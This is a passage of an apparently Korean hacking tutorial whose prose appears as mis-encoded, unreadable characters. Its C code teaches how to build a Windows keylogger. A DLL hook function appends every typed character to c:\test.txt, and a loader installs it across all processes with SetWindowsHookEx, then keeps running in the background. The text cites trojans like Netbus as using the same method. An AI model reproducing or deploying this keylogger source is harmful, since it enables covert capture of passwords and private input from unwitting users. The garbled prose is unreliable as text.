Ctrl + F5 ۸¦ ´­·¯ ÄÄÆÄÀÏÀ» ¿Ï·áÇÑ ÈÄ, ´ÙÀ½°ú °°Àº âÀÌ Ãâ·ÂµÈ´Ù¸é ¼º°øÇÑ
°ÍÀÔ´Ï´Ù. Ãë¼Ò¸¦ ´­·¯ ÀÌ Ã¢Àº ´Ý¾Æ¹ö¸³´Ï´Ù.



ÀÌÁ¦ ÇØ´ç ÇÁ·ÎÁ§Æ®ÀÇ DEBUG Æú´õ¿¡ °¡¸é "DLL TEST.dll"ÀÌ »ý¼ºµÇ¾îÀÖÀ» °ÍÀÔ´Ï´Ù.
ÀÌ·Î½á µ¿Àû ¶óÀ̺귯¸® »ý¼ºÀº ¿Ï·áµÇ¾ú½À´Ï´Ù. ¸Å¿ì °£´ÜÇÏÁÒ~?
ÀÚ, ±×·³ À̹ø¿¡´Â ÀÌ Á¤Àû ¶óÀ̺귯¸®¸¦ »ç¿ëÇÏ´Â ÇÁ·Î±×·¥À» ¸¸µé¾î º¾½Ã´Ù.

¾Æ±î ¸¸µé¾îµÎ¾ú´ø Űº¸µå¸¦ ÀÔ·ÂÇÏ¸é ¾î¶² ۸¦ ÀÔ·ÂÇß´ÂÁö È­¸é¿¡ Ãâ·ÂÇØÁÖ´ø
±× ÇÁ·Î±×·¥À» ¼öÁ¤ÇÏ¿© ¸¸µéµµ·Ï ÇϰڽÀ´Ï´Ù. CALLBACK ÇÔ¼ö ºÎºÐ¸¸ ´ÙÀ½°ú °°ÀÌ
¼öÁ¤ÇØ ÁÝ´Ï´Ù.

============================= DLLÀ» ·ÎµåÇÏ´Â ¿¹ =============================

LRESULT CALLBACK WndProc( HWND hWnd, UINT iMessage, WPARAM wParam, LPARAM lParam )
{
        static HINSTANCE hinstDll;        // µ¿Àû ¶óÀ̺귯¸®¸¦ °¡¸®Å³ ÇÚµé.
        int (*MyFunc)(int, int);        // DLL¾ÈÀÇ WiseGuys ÇÔ¼ö¸¦ °¡¸®Å³ Æ÷ÀÎÅÍ.
        char str[100];        // ¸Þ½ÃÁö Ãâ·Â¿¡ »ç¿ëÇÒ º¯¼ö.

        switch( iMessage )
        {        
        case WM_CREATE:
                hinstDll = LoadLibrary("DLL TEST.dll");        // DLLÀ» ·ÎµåÇÑ´Ù.
                if(!hinstDll){
                        MessageBox(hWnd, "DLL TEST.dllÀ» ·ÎµåÇÒ ¼ö ¾ø½À´Ï´Ù.", "¿À·ù", MB_OK);
                        ExitProcess(1);
                }

                MyFunc = (int (*)(int, int))GetProcAddress(hinstDll, "WiseGuys");
                // WiseGuys ÇÔ¼ö¸¦ ·ÎµåÇÑ´Ù.

                if(!MyFunc){
                        MessageBox(hWnd, "WiseGuys ÇÔ¼ö¸¦ ·ÎµåÇÒ ¼ö ¾ø½À´Ï´Ù.", "¿À·ù", MB_OK);
                        FreeLibrary(hinstDll);
                        ExitProcess(1);
                }

                wsprintf(str, "3 + 5´Â %d ÀÔ´Ï´Ù.", MyFunc(3, 5));
                MessageBox(hWnd, str, "¾Ë¸²", MB_OK);

                return 0;
        case WM_DESTROY:
                PostQuitMessage( 0 );
                break;
        }
        return DefWindowProc( hWnd, iMessage, wParam, lParam );
}

===========================================================================

¾î¶² ³»¿ëÀÎÁö µü º¸½Ã¸é ´ëÃæ ¾Æ½Ã°ÚÁÒ? ¾Æ¸¶µµ È®½ÇÇÏ°Ô ÀÌÇØÇϽ÷Á¸é À§ Äڵ带
ÇÑ~Âü µé¿©´Ùº¸¼Å¾ß ÇÒ °Ì´Ï´Ù. Àú¸¸Çصµ óÀ½ »ý¼ÒÇß´ø À§ ³»¿ëÀ» ÀÌÇØÇϱâ À§ÇØ
ÇÔÂüÀ» »ý°¢ÇØ¾ß Çß½À´Ï´Ù. ÇÏÁö¸¸, À§ Äڵ带 Çѹø¸¸ ÀÌÇØÇÏ°í ³ª¸é ¹«Áö ½¬¿î
ÀýÂ÷·Î DLL ¾ÈÀÇ ÇÔ¼ö¸¦ È£ÃâÇÑ´Ù´Â °ÍÀ» ¾Ë°Ô µÇ½Ç °Ì´Ï´Ù. Á¤¸®¸¦ ÇØµå¸®ÀÚ¸é,

LoadLibrary ÇÔ¼ö·Î DLLÀ» ºÒ·¯µéÀÓ. -> GetProcAddress ÇÔ¼ö·Î ºÒ·¯µéÀÎ DLL ¾È
¿¡¼­ ƯÁ¤ ÇÔ¼ö¸¦ ã¾Æ³¿. -> ±× ÇÔ¼ö¸¦ »ç¿ëÇÔ.

ÀÇ ¼ø¼­°¡ µË´Ï´Ù. ½ÇÁ¦ Ű·Î°Å¸¦ ±¸ÇöÇÒ ¶§µµ ÀÌ °úÁ¤À» °ÅÄ¡°Ô µÇ´Ï Àß ±â¾ïÇØ
³õÀ¸½Ã±â ¹Ù¶ø´Ï´Ù. ÀÌÁ¦ À§ ÇÁ·Î±×·¥À» ½ÇÇàÇØ º¾½Ã´Ù. ±×·³ DLL ÆÄÀÏÀ» ãÀ» ¼ö
¾ø´Ù´Â ¿¡·¯ ¸Þ½ÃÁö°¡ ³ªÅ¸³¯ °ÍÀÔ´Ï´Ù. ¿ì¸®°¡ LoadLibrary ÇÔ¼ö·Î ƯÁ¤ DLLÀ»
È£ÃâÇϸé ÇÁ·Î±×·¥Àº ´ÙÀ½°ú °°Àº °æ·Î¿¡¼­ DLL ÆÄÀÏÀ» °Ë»öÇÕ´Ï´Ù.

1. ½ÇÇàµÈ Æú´õ
2. WINDOWSÀÇ SYSTEM Æú´õ
3. WINDOWS Æú´õ
4. PATH¿¡ ÁöÁ¤µÈ °æ·Îµé

±×¸®°í ¸¸¾à À§ °æ·Î¿¡¼­ DLLÀ» ãÁö ¸øÇϸé NULLÀÌ ¸®ÅϵÊÀ¸·Î ¿¡·¯°¡ ¹ß»ýµË´Ï´Ù.

[½ÇÇàÇØº¸±â]

ÀÌÁ¦ ¾Õ¼­ ¸¸µç "DLL TEST.dll"À» º¹»çÇÏ¿© ¹æ±Ý ¸¸µç ÇÁ·Î±×·¥ÀÌ ÄÄÆÄÀÏ µÈ
DEBUG Æú´õ¿¡ º¹»çÇØ ³Ö½À´Ï´Ù. ±×¸®µµ ´Ù½Ã ÇÁ·Î±×·¥À» ½ÇÇàÇϸé, ´ÙÀ½°ú °°ÀÌ
¿¹ÃøµÈ °á°ú°¡ ³ªÅ¸³¯ °ÍÀÔ´Ï´Ù.



[DLL ´Ù¿î ¹Þ±â]

À̰ɷΠDLL ÆÄÀÏ »ý¼º°ú, »ç¿ë ¹æ¹ý¿¡ ´ëÇÑ ¼³¸íÀ» ¸¶Ä¡µµ·Ï ÇϰڽÀ´Ï´Ù.
Ű·Î°Å ±¸ÇöÀ» °øºÎÇϸ鼭 ÀÌ·¸°Ô DLLÀ» ´Ù·ç´Â ¹æ¹ý±îÁö ÀÚ¿¬½º·´°Ô ¹è¿ì°Ô
µÇ´Ù´Ï ³Ê¹« ½Å±âÇÏÁö ¾Ê½À´Ï±î? ¿ª½Ã HackingÀº ¿ì¸®°¡ Èûµé°Ô °øºÎÇÑ ´ñ°¡¸¦
È®½ÇÇÏ°Ô µ¹·ÁÁشٴ »ý°¢ÀÌ µì´Ï´Ù.

À̹ø¿£ SetWindowsHookEx ÇÔ¼öÀÇ »ç¿ë ¹æ¹ýÀ» ¾Ë¾Æº¼±î¿ä? ¼³¸íº¸´Ü ½ÇÁ¦ ÄÚµùÇÒ
¶§ÀÇ ÀÌÇØ°¡ ÈξÀ ½±°í ºü¸§À¸·Î °£´ÜÇÏ°Ô ÇÔ¼ö ¿øÇü¸¸ ¾Ë¾Æº¸µµ·Ï ÇϰڽÀ´Ï´Ù.

SetWindowsHookEx(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwTreadID);

idHook : ÈÄÅ·ÀÇ Á¾·ù¸¦ Á¤ÇÕ´Ï´Ù. º¸Åë WH_GETMESSAGE¸¦ »ç¿ëÇÕ´Ï´Ù. À̰ÍÀº
         GetMessageµîÀÇ ÇÔ¼ö¸¦ »ç¿ëÇÏ¿© ¸Þ½ÃÁö Å¥¿¡¼­ ¸Þ½ÃÁö¸¦ ²¨³»¿Ã ¶§
         ÈÄÅ·À» Àû¿ë½Ã۶ó´Â ÀǹÌÀÔ´Ï´Ù.

lpfn : ÈÄÅ·ÀÌ Àû¿ëµÉ ¶§ ½ÇÇàµÇ´Â ÇÔ¼ö¸¦ ÀǹÌÇÕ´Ï´Ù. °¡Àå Áß¿äÇÑ ºÎºÐÀ̰ÚÁÒ?
       ÀÌ ºÎºÐ¿¡ »ç¿ëµÇ´Â ÇÔ¼ö´Â ¾Õ¼­ ¹è¿î DLL ¾ÈÀÇ ÇÔ¼ö¸¦ È£ÃâÇÏ´Â ¹æ¹ýÀ¸·Î
       °¡Á®¿À°Ô µË´Ï´Ù.

hMod : DLLÀÇ ÇÚµéÀ» ÁöÁ¤ÇÕ´Ï´Ù. Áï, LoadLibrary ÇÔ¼öÀÇ ¸®ÅÏ °ªÀÔ´Ï´Ù.

dwThreadID : ÈÄÅ·À» ¾²·¹µå ÇÔ¼ö¿¡ Àû¿ë½ÃŰ°í ½Í´Ù¸é, ±× ¾²·¹µåÀÇ ID¸¦ Àû¾îÁÝ´Ï´Ù.

ÀÚ~ ÀÌÁ¦ µåµð¾î Ű·Î°Å¸¦ ¸¸µé ¸ðµç Áغñ°¡ ¿Ï·áµÇ¾ú½À´Ï´Ù.~!
¸ÕÀú, »ç¿ëÀÚ°¡ ÀÔ·ÂÇÑ °ªÀ» ÆÄÀÏ·Î ÀúÀåÇÏ´Â ÇÔ¼ö¸¦ ±¸ÇöÇØ¾ß°ÚÁÒ? ±×¸®°í ÀÌ
ÇÔ¼ö´Â ¾î¶² ÇÁ·Î±×·¥¿¡¼­´ø È£ÃâµÉ ¼ö ÀÖ¾î¾ßÇϱ¸¿ä. ±×·³ ¹»·Î ¸¸µé¾î¾ßÇÒ±î¿ä?
¸Â½À´Ï´Ù~ µ¿Àû ¶óÀ̺귯¸® ÇüÅ·Π¸¸µé¾î¾ß ¸ðµç ÇÁ·Î±×·¥¿¡¼­ Á¢±ÙÇÒ ¼ö ÀÖ°ÚÁÒ.
±×·³ ±× ÇÔ¼ö¸¦ ¸¸µé¾î º¸µµ·Ï ÇϰڽÀ´Ï´Ù. ¾Õ¼­ DLL TEST ÇÁ·ÎÁ§Æ®¸¦ ¸¸µç °Í°ú
µ¿ÀÏÇÑ ÀýÂ÷¸¦ °ÅÃÄ HOOKER¶ó´Â ÇÁ·ÎÁ§Æ®¸¦ ¸¸µç ÈÄ, ¾Æ·¡ ³»¿ëÀ» ÀÔ·ÂÇÕ´Ï´Ù.

================= Űº¸µå ³»¿ëÀ» ÆÄÀÏ·Î ÀúÀåÇÏ´Â DLL ÄÚµå ===================

#include

__declspec(dllexport) LRESULT CALLBACK GetMsgProc(INT nCode, WPARAM wp, LPARAM lp)
{
        if(((MSG*)lp)->message == (long)WM_CHAR)
        {                        
                HANDLE hFile;
                DWORD dwWrite;
               hFile = CreateFile("c:\\test.txt", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS,
                        FILE_ATTRIBUTE_NORMAL, NULL);        
                SetFilePointer(hFile, 0, 0, FILE_END);                        
                WriteFile(hFile, &((MSG*)lp)->wParam, 1, &dwWrite, NULL);
                CloseHandle(hFile);                                
        }
        return TRUE;        
}

=============================================================================

GetMsgProc ÇÔ¼öÀÇ ¿øÇüÀ» ÀÚ¼¼È÷º¸¸é ¾Õ¼­ WndProc¶ó°í ¼±¾ðÇß´ø CALLBACK
ÇÔ¼ö¿Í °ÅÀÇ ºñ½ÁÇÕ´Ï´Ù. ¸Þ½ÃÁö°¡ ¹ß»ýÇßÀ» ¶§, CALLBACK ÇÔ¼ö·Î Àü´ÞµÈ ÀÎÀÚµéÀÇ
Á¤º¸°¡ °¡°øµÇ¾î ÀÌ GetMsgProc ÇÔ¼ö·Î Àü´ÞµÉ °ÍÀÔ´Ï´Ù.

ÀÌÁ¦ ÀÌ ÇÔ¼ö´Â Àá½Ã ÈÄ¿¡ SetWindowsHookEx ÇÔ¼ö¿¡ÀÇÇØ ¸Þ½ÃÁö ÈÄÅ·µË´Ï´Ù.
Áï, ¸Þ½ÃÁö ÈÄÅ· ÈÄ¿¡´Â À©µµ¿ì ³»¿¡¼­ ¹ß»ýÇÏ´Â ¸ðµç ¸Þ½ÃÁö°¡ À§ ÇÔ¼ö¸¦ Çѹø
°ÅÄ£ ÈÄ ÀÚ½ÅÀÇ º»·¡ ÀÛ¾÷À» ÇÏ°Ô µÈ´Ù´Â ¸»ÀÔ´Ï´Ù. À§ ³»¿ëÀ» ÇØ¼®ÇØ º¼±î¿ä?
ÀÏ´Ü ÀÌ ÇÔ¼ö°¡ ½ÇÇàµÇ¸é, ÀÎÀÚ·Î Àü´Þ¹ÞÀº lp ±¸Á¶Ã¼ÀÇ message¶ó´Â ¸â¹ö¿¡¼­
¹ß»ýÇÑ ¸Þ½ÃÁö¸¦ ¾ò½À´Ï´Ù. ±×¸®°í ±× ¸Þ½ÃÁö°¡ WM_CHARÀ̶ó¸é ¿ì¸®°¡ ¿øÇÏ´Â
HACK ÀÛ¾÷À» ¼öÇàÇϰí, ±×·¸Áö ¾ÊÀ¸¸é ¾Æ¹«°Íµµ ÇÏÁö ¾Ê½À´Ï´Ù.

¸¸¾à, ¹ß»ýÇÑ ¸Þ½ÃÁö°¡ WM_CHARÀ̶ó¸é? CreateFile ÇÔ¼ö·Î c:\test.txt ÆÄÀÏÀ»
openÇϰí, ÀÌ¹Ì ÀúÀåµÈ ³»¿ëÀÌ ¾ø¾îÁöÁö ¾Êµµ·Ï Æ÷ÀÎÅ͸¦ ÆÄÀÏÀÇ ³¡À¸·Î ¿Å±é´Ï´Ù.
±× ´ÙÀ½ WriteFile ÇÔ¼ö·Î ¿ª½Ã ÀÎÀÚ·Î Àü´Þ¹ÞÀº lp ±¸Á¶Ã¼ÀÇ wParam °ª¿¡¼­
WM_CHAR ¸Þ½ÃÁö¸¦ ¹ß»ýÇÑ ±× KEY°¡ ¾î¶² °ÍÀÎÁö¸¦ Á¶»çÇÕ´Ï´Ù. ¿¹¸¦µé¾î ¿ì¸®°¡
Űº¸µå¸£ X¶ó´Â ۸¦ ´©¸£¸é, WM_CHAR ¸Þ½ÃÁö°¡ lp->message¿¡ ÀúÀåµÇ°í, X¶ó´Â
¹®ÀÚ°¡ lp->wParam¿¡ ÀúÀåµÇ´Â °ÍÀÔ´Ï´Ù. ¸¶Áö¸·À¸·Î CloseHandle·Î ÆÄÀÏÀ» ´Ý½À
´Ï´Ù.

¡Ý ´Ù½Ã Çѹø À§ °úÁ¤À» Á¤¸®ÇØ º¾½Ã´Ù.

1. ¹ß»ýÇÑ ¸Þ½ÃÁö°¡ WM_CHAR À̶ó¸é,
2. c:\test.txt ÆÄÀÏÀ» ¿­°í,
3. ÆÄÀÏ ÇÚµéÀÇ Æ÷ÀÎÅ͸¦ ³¡ÂÊÀ¸·Î ¿Å±â°í,
4. ÀÔ·ÂµÈ ¹®ÀÚ¸¦ ÀúÀåÇϰí,
5. ¿­¸° ÆÄÀÏÀ» ´Ý´Â´Ù.

°£´ÜÇÏÁÒ? Ãß°¡·Î À§ ÇÔ¼öµé¿¡¼­ »ç¿ëµÈ ÀÎÀڵ鿡 ´ëÇÑ ¼³¸íÀ» µå¸®°Ú½À´Ï´Ù.
ÀÏ´Ü GENERIC_WRITE´Â ÀÌ ÆÄÀÏÀ» ¾²±â °¡´É ÇüÅ·Π¿­°Ú´Ù´Â ¸»À̱¸¿ä, ±× ´ÙÀ½
µÎ ÀÎÀÚ´Â ÀÌ ÆÄÀÏÀ» °øÀ¯ÇÒ °ÍÀÎÁö¿Í »ó¼Ó°¡´ÉÇÏ°Ô ÇÒ °ÍÀÎÁö¸¦ Á¤Çϴµ¥ µÑ
´Ù NULL·Î ÇØÁÖ¸é µË´Ï´Ù. ±× ´ÙÀ½ÀÇ OPEN_ALWAYS´Â ¸¸¾à ÇØ´ç ÆÄÀÏÀÌ ¾ø´Ù¸é
»õ·Î ¸¸µé°í, ÀÖÀ¸¸é ±×³É ¿¬´Ù´Â ÀǹÌÀÔ´Ï´Ù. ±× ´ÙÀ½ ÀÎÀÚ´Â ÆÄÀÏÀÇ ¼Ó¼ºÀ̸ç,
¸¶Áö¸· ÀÎÀÚ´Â ÆÄÀÏÀÇ Ãß°¡ ¼Ó¼ºÀ» Áö¿øÇÏ´Â ÅÛÇø®Æ® ÆÄÀÏÀÇ ÇÚµéÀÔ´Ï´Ù.

SetFilePointer¿¡¼­ »ç¿ëµÈ ³× ÀÎÀÚ´Â ´ÙÀ½°ú °°½À´Ï´Ù. ù ¹øÂ° ÀÎÀÚ´Â ÆÄÀÏÀÇ
ÇÚµé·Î ¸®´ª½º¿¡¼­ µð½ºÅ©¸³ÅͶó°í ºÎ¸£´ø °ÍÀ» À©µµ¿ì¿¡¼± ÇÚµéÀ̶ó´Â ¿ë¾î·Î
´ë½ÅÇÕ´Ï´Ù. Áï, ½ÃÀÛ ºÎºÐÀ» °¡¸®Å°´Â Æ÷ÀÎÅÍ Á¤µµ·Î ÀÌÇØÇÏ½Ã¸é µË´Ï´Ù.
µÎ ¹øÂ°¿Í ¼¼ ¹øÂ° ÀÎÀÚ´Â ±âÁØÁ¡À¸·ÎºÎÅÍÀÇ + ȤÀº - À§Ä¡¸¦ ¼³Á¤ÇÕ´Ï´Ù. ÀÎÀÚ°¡
µÎ °³ÀÎ ÀÌÀ¯´Â ÆÄÀÏÀÇ ¿ë·®ÀÌ ¸Å¿ì Ä¿Á³À» ¶§, ´Ü ÇϳªÀÇ Á¤¼ö °ªÀ¸·Î À§Ä¡¸¦
ÁöÁ¤ÇÏ´Â °ÍÀÌ Èûµé±â ¶§¹®ÀÔ´Ï´Ù. ¾ÕÀÇ °ÍÀº ÇÏÀ§ 4¹ÙÀÌÆ® µÚÀÇ °ÍÀº »óÀ§
4¹ÙÀÌÆ®ÀÎ °ÍÀÔ´Ï´Ù. ¸¶Áö¸· ÀÎÀÚ´Â Æ÷ÀÎÅ͸¦ º¯°æÇÒ ±âÁØÁ¡ÀÔ´Ï´Ù. ¿©±â¿¡¼±
ÆÄÀÏÀÇ °¡Àå ³¡À» ÀǹÌÇÏ´Â FILE_END·Î ÁöÁ¤ÇØ Áá½À´Ï´Ù.

WriteFileÀÇ ÀÎÀÚ ¿ª½Ã °£´ÜÇÕ´Ï´Ù. ù ¹øÂ° °ÍÀº ÆÄÀÏÀÇ ÇÚµé, µÎ ¹øÂ° °ÍÀº
ÀÔ·ÂÇÒ ¹®ÀÚ¿­, ±× ´ÙÀ½¿£ ±× ¹®ÀÚ¿­ÀÇ ±æÀÌ, ±× ´ÙÀ½Àº ¼º°øÀûÀ¸·Î ÀԷµÈ
¹ÙÀÌÆ® ¼ö°¡ ÀúÀåµÉ º¯¼ö, ¸¶Áö¸·Àº ºñµ¿±â ±â´ÉÀ» »ç¿ëÇÒÁö¸¦ °áÁ´ÇÕ´Ï´Ù.

ÀÌÁ¦, ÀÌ DLL ÆÄÀÏÀ» ÄÄÆÄÀÏ ÇÕ´Ï´Ù. ¾ÆÂ÷~ .def ÆÄÀÏÀ» ¸¸µé¾îÁÖÁö ¾Ê¾Ò±º¿ä.
´ÙÀ½ÀÇ hooker.def ÆÄÀÏÀ» ¾Õ¼­ DLL TESTÀ» ¹è¿üÀ» ¶§¿Í °°Àº ¹æ¹ýÀ¸·Î Ãß°¡ÇØ
ÁݽôÙ.

==================== hooker.def ======================
LIBRARY                WGHooker
EXPORTS
        GetMsgProc        @1
======================================================

ÀÌÁ¦ ÄÄÆÄÀÏ Çϸé, hooker.dll ÆÄÀÏÀÌ »ý¼ºµÇ°ÚÁö¿ä? Âü°í·Î Visual Studio´Â
Äڵ带 ÄÄÆÄÀÏÇÒ ¶§ ±âº»À¸·Î µð¹ö±ë °¡´ÉÇÑ ¸ðµå·Î ÇÏ°Ô µÇ¾îÀÖ½À´Ï´Ù.
µû¶ó¼­ µð¹ö±ë Á¤º¸·Î ÀÎÇØ ¿ë·®ÀÌ ¹«ÁöÅ®´Ï´Ù. µû¶ó¼­ Build -> Set Active
Configuration ¸Þ´º¸¦ ÅëÇÏ¿© debug mode¸¦ release mode·Î º¯°æ½ÃÄÑ ÁÝ´Ï´Ù.
±×·³ ÆÄÀÏÀÇ ¿ë·®ÀÌ ¾à 1/10À¸·Î ÁÙ¾îµé °ÍÀÔ´Ï´Ù.

ÀÌÁ¦ ۷ΰÅÀÇ º»Ã¼ ¿ªÇÒÀ» ÇÒ DLL ÆÄÀÏÀÇ ±¸ÇöÀÌ ³¡³µ½À´Ï´Ù. ½ÇÁ¦·Î ÀÎÅͳݿ¡
°ø°³µÇ¾îÀִ Ű·Î°ÅµéÀ̳ª Ű·Î±ë ±â´ÉÀÌ ³»ÀåµÇ¾îÀÖ´Â ³Ý¹ö½º³ª, ¼­ºê¼¼ºì°°Àº
Æ®·ÎÀ̸¦ º¸¸é ¸ðµÎ ÀڽŸ¸ÀÇ °íÀ¯ÇÑ DLL ÆÄÀÏÀ» µû·Î °¡Áö°í ÀÖ½À´Ï´Ù. ³Ý¹ö½º¸¦
¿¹·Î µé¸é, °¨¿°µÈ ÈÄ¿¡ À©µµ¿ìÁî µð·ºÅ丮¿¡ KeyHook.dllÀÌ ¼³Ä¡µÇ´Âµ¥, À̰ÍÀÌ
¹Ù·Î Ű·Î±ë ±â´ÉÀ» À§ÇÑ ÆÄÀÏÀÔ´Ï´Ù. ÀÌó·³ DLL ÆÄÀÏÀ» ÀÌ¿ëÇÏ¿© ÈÄÅ·ÀÇ º»Ã¼¸¦
¸¸µå´Â °ÍÀº °ÅÀÇ ÈÄÅ·ÀÇ Á¤¼®ÀÔ´Ï´Ù.

ÀÚ, ±×·³ À̹ø¿£ ¸Þ½ÃÁö ÈÄÅ·À» ±¸µ¿½ÃŰ´Â ÇÁ·Î±×·¥À» ¸¸µé¾î º¾½Ã´Ù. ۷ΰÅÀÇ
ÇÙ½ÉÀûÀÎ ±â´ÉÀ» ÇÏ´Â °ÍÀº DLL ÆÄÀÏÀÌÁö¸¸, ½ÇÁ¦ ÈÄÅ·À» ¼³Ä¡ÇÏ´Â °ÍÀº Áö±Ý
¸¸µå·Á´Â ÀÌ ÇÁ·Î±×·¥À̱⠶§¹®¿¡, ½ÇÁ¦ "۷ΰÅ"¶ó°í ºÒ¸®´Â ÇÁ·Î±×·¥ÀÌ ¹Ù·Î
À̰ÍÀÔ´Ï´Ù.

¿ª½Ã ¾Õ¼­ ¸¸µç ¿¹Á¦ ÇÁ·Î±×·¥À» Á¶±Ý ¼öÁ¤ÇÏ¿© ¸¸µé¾î º¸°Ú½À´Ï´Ù. CALLBACK
ÇÔ¼ö¸¦ ´ÙÀ½°ú °°ÀÌ »õ·Î ÀÛ¼ºÇÕ´Ï´Ù.

================== ¸Þ½ÃÁö ÈÄÅ·À» ±¸µ¿½ÃŰ´Â ÄÚµå ==========================

LRESULT CALLBACK WndProc( HWND hWnd, UINT iMessage, WPARAM wParam, LPARAM lParam )
{
        static HINSTANCE hinstDll;
        HOOKPROC hGetMsgProc;
        static HHOOK hKeyHook;

        switch( iMessage )
        {        
        case WM_CREATE:
                hinstDll = LoadLibrary("hooker.dll");
                if(!hinstDll){
                        MessageBox(hWnd, "hooker.dllÀ» ·ÎµåÇÒ ¼ö ¾ø½À´Ï´Ù.", "¿À·ù", MB_OK);
                        ExitProcess(1);
                }

                hGetMsgProc = (HOOKPROC)GetProcAddress(hinstDll, "GetMsgProc");
                if(!hGetMsgProc){
                        MessageBox(hWnd, "GetMsgProc ÇÔ¼ö¸¦ ãÀ» ¼ö ¾ø½À´Ï´Ù.", "¿À·ù", MB_OK);
                        FreeLibrary(hinstDll);
                        ExitProcess(1);
                }
                hKeyHook = SetWindowsHookEx(WH_GETMESSAGE, hGetMsgProc, hinstDll, 0);
                if(!hKeyHook){
                        MessageBox(hWnd, "HookingÀ» ¼º°øÇÏÁö ¸øÇß½À´Ï´Ù.", "¿À·ù", MB_OK);
                        FreeLibrary(hinstDll);
                        ExitProcess(1);
                }
                return 0;
        case WM_DESTROY:
                PostQuitMessage( 0 );
                break;
        }
        return DefWindowProc( hWnd, iMessage, wParam, lParam );
}

============================================================================

LoadLibrary, GetProcAddress, SetWindowsHookEx ¸ðµÎ ÀÌ¹Ì ¹è¿î °ÍµéÀÔ´Ï´Ù.
ÀÌÇØÇϱ⠽±µµ·Ï Á¤¸®ÇØ º¸°Ú½À´Ï´Ù. ÀÏ´Ü LoadLibrary ÇÔ¼ö¿¡ ÀÇÇÏ¿© hooker.dll
ÆÄÀÏÀÌ ·ÎµåµË´Ï´Ù. ±× ´ÙÀ½¿£ ÀÌ dll ÆÄÀÏ ³»¿¡¼­ GetMsgProc ÇÔ¼ö¸¦ ã¾Æ³À´Ï´Ù.
GetMsgProc ÇÔ¼ö´Â ¾Æ±î ±× WM_CHAR ¸Þ½ÃÁö¸¦ °Ë»öÇÏ¿© ÀÔ·ÂµÈ ¹®ÀÚ¸¦ ÆÄÀÏ¿¡
ÀúÀåÇÏ´Â ¿ªÇÒÀ» Çϵµ·Ï ±¸ÇöÇß´ø °ÍÀÔ´Ï´Ù. ÀÌÁ¦ ½ÇÁ¦ ¸Þ½ÃÁö ÈÄÅ·À» ÀÛµ¿ ½ÃŰ
´Âµ¥, WH_GETMESSAGE. Áï, ¸Þ½ÃÁö Å¥¿¡¼­ ¸Þ½Ã½Ã°¡ ²¨³»Áú ¶§, hGetMsgProc
ÇÔ¼ö°¡ ½ÇÇàµÇ¸ç, ÀÌ ÇÔ¼ö°¡ ÀÖ´Â DLLÀÇ ½ÃÀÛ À§Ä¡´Â hinstDll¶ó´Â ÀǹÌÀÇ ÀÎÀÚ
µéÀ» ³Ö¾îÁÖ¾ú½À´Ï´Ù. ¸¶Áö¸· ÀÎÀÚÀÎ 0Àº ¾²·¹µå¿Í °ü·ÃµÈ °ÍÀε¥ ¿ì¸®´Â »ç¿ëÇÏÁö
¾Ê½À´Ï´Ù.

ÀÌ SetWindowsHookEx ÇÔ¼ö´Â ÀÌ ÇÔ¼ö°¡ ½ÇÇàµÈ ÇÁ·Î¼¼½º¸¸ÀÌ ¾Æ´Ñ, ÇöÀç À©µµ¿ì¿¡
½ÇÇà ÁßÀÎ ¸ðµç ÇÁ·Î¼¼½º¿Í ¾ÕÀ¸·Î ½ÇÇàµÇ´Â »õ·Î¿î ÇÁ·Î¼¼½ºµé¿¡µµ Àû¿ëµË´Ï´Ù.
ÀÌ SetWindowsHookEx ÇÔ¼öÀÇ ±â´ÉÀÌ ¾ó¸¶³ª °­·ÂÇÑÁö¸¦ ´À³¢½Ç ¼ö ÀÖ°ÚÁö¿ä?

ÀÌÁ¦ ÀÌ ÇÁ·Î±×·¥ÀÌ ½ÇÇàµÈ ÈÄÀÇ ¸ðµç ÇÁ·Î±×·¥µéÀº ¸Þ½ÃÁö Å¥¿¡¼­ ¸Þ½ÃÁö¸¦
²¨³»¿Ã ¶§, SetWindowsHookExÀÇ ¿µÇâÀ» ¹Þ¾Æ GetMsgProc ÇÔ¼ö¸¦ È£ÃâÇϰÔ
µË´Ï´Ù. ÀÌ ÇÔ¼ö¸¦ ¾îµð¼­ 㳪¿ä? ¹Ù·Î ¸ðµç ÇÁ·Î¼¼½º°¡ ÀÚÀ¯·Ó°Ô Á¢±ÙÇÒ ¼ö
ÀÖ´Â ¸Þ¸ð¸®ÀÇ µ¿Àû ¶óÀ̺귯¸® °ø°£¿¡¼­ ã½À´Ï´Ù. ±×¸®°í GetMsgProc ÇÔ¼ö
¾È¿¡´Â WM_CHAR ¸Þ½ÃÁö¸¸À» ÃßÃâÇÏ¿© ÀÌ ¸Þ½ÃÁö¸¦ ¹ß»ý½ÃŲ ¹®ÀÚ¸¦ ÆÄÀÏ¿¡ ÀúÀå
ÇÕ´Ï´Ù. µû¶ó¼­, ¿ì¸®°¡ À©µµ¿ì ½Ã½ºÅÛ ³»¿¡¼­ ÀÔ·ÂÇÏ´Â ¸ðµç ¹®ÀÚµéÀÌ Æ¯Á¤
ÆÄÀÏ. Áï, c:\test.txt¿¡ ÀúÀåµÇ´Â °ÍÀÔ´Ï´Ù. ÀÌ °úÁ¤À» º¸±â½±°Ô ´Ù½Ã Çѹø
Á¤¸®ÇØ º¸°Ú½À´Ï´Ù.

¡Ý Ű·Î°Å ÇÁ·Î±×·¥ ÀÛµ¿ ÀýÂ÷

1. keylogger.exeÀÌ ½ÇÇàµÈ´Ù.
2. hooker.dll ÆÄÀÏÀ» ·ÎµùÇÑ´Ù.
3. GetMsgProc ÇÔ¼ö¸¦ ã´Â´Ù.
4. SetWindowsHookEx ÇÔ¼ö¿¡ ÀÇÇØ¼­ ¸ðµç ¸Þ½ÃÁö°¡ ¹ß»ýÇÒ ¶§, GetMsgProc ÇÔ¼ö°¡
   ½ÇÇàµÇµµ·Ï ÈÄÄ¿°¡ ¼³Ä¡µÈ´Ù. ±×¸®°í À̰ÍÀº À©µµ¿ì ³»ÀÇ ¸ðµç ÇÁ·Î±×·¥¿¡
   Àû¿ëµÈ´Ù.
5. ÀÌÁ¦ keylogger.exe´Â ÀÚ±â ÇÒ ÀÏÀ» ´Ù Çß°í, ¹é±×¶ó¿îµå·Î °è¼Ó µ¹¾Æ°£´Ù.
6. À©µµ¿ì ³»¿¡¼­ ƯÁ¤ ¸Þ½ÃÁö°¡ ¹ß»ýÇϸé, GetMsgProc ÇÔ¼ö°¡ È£ÃâµÈ´Ù.
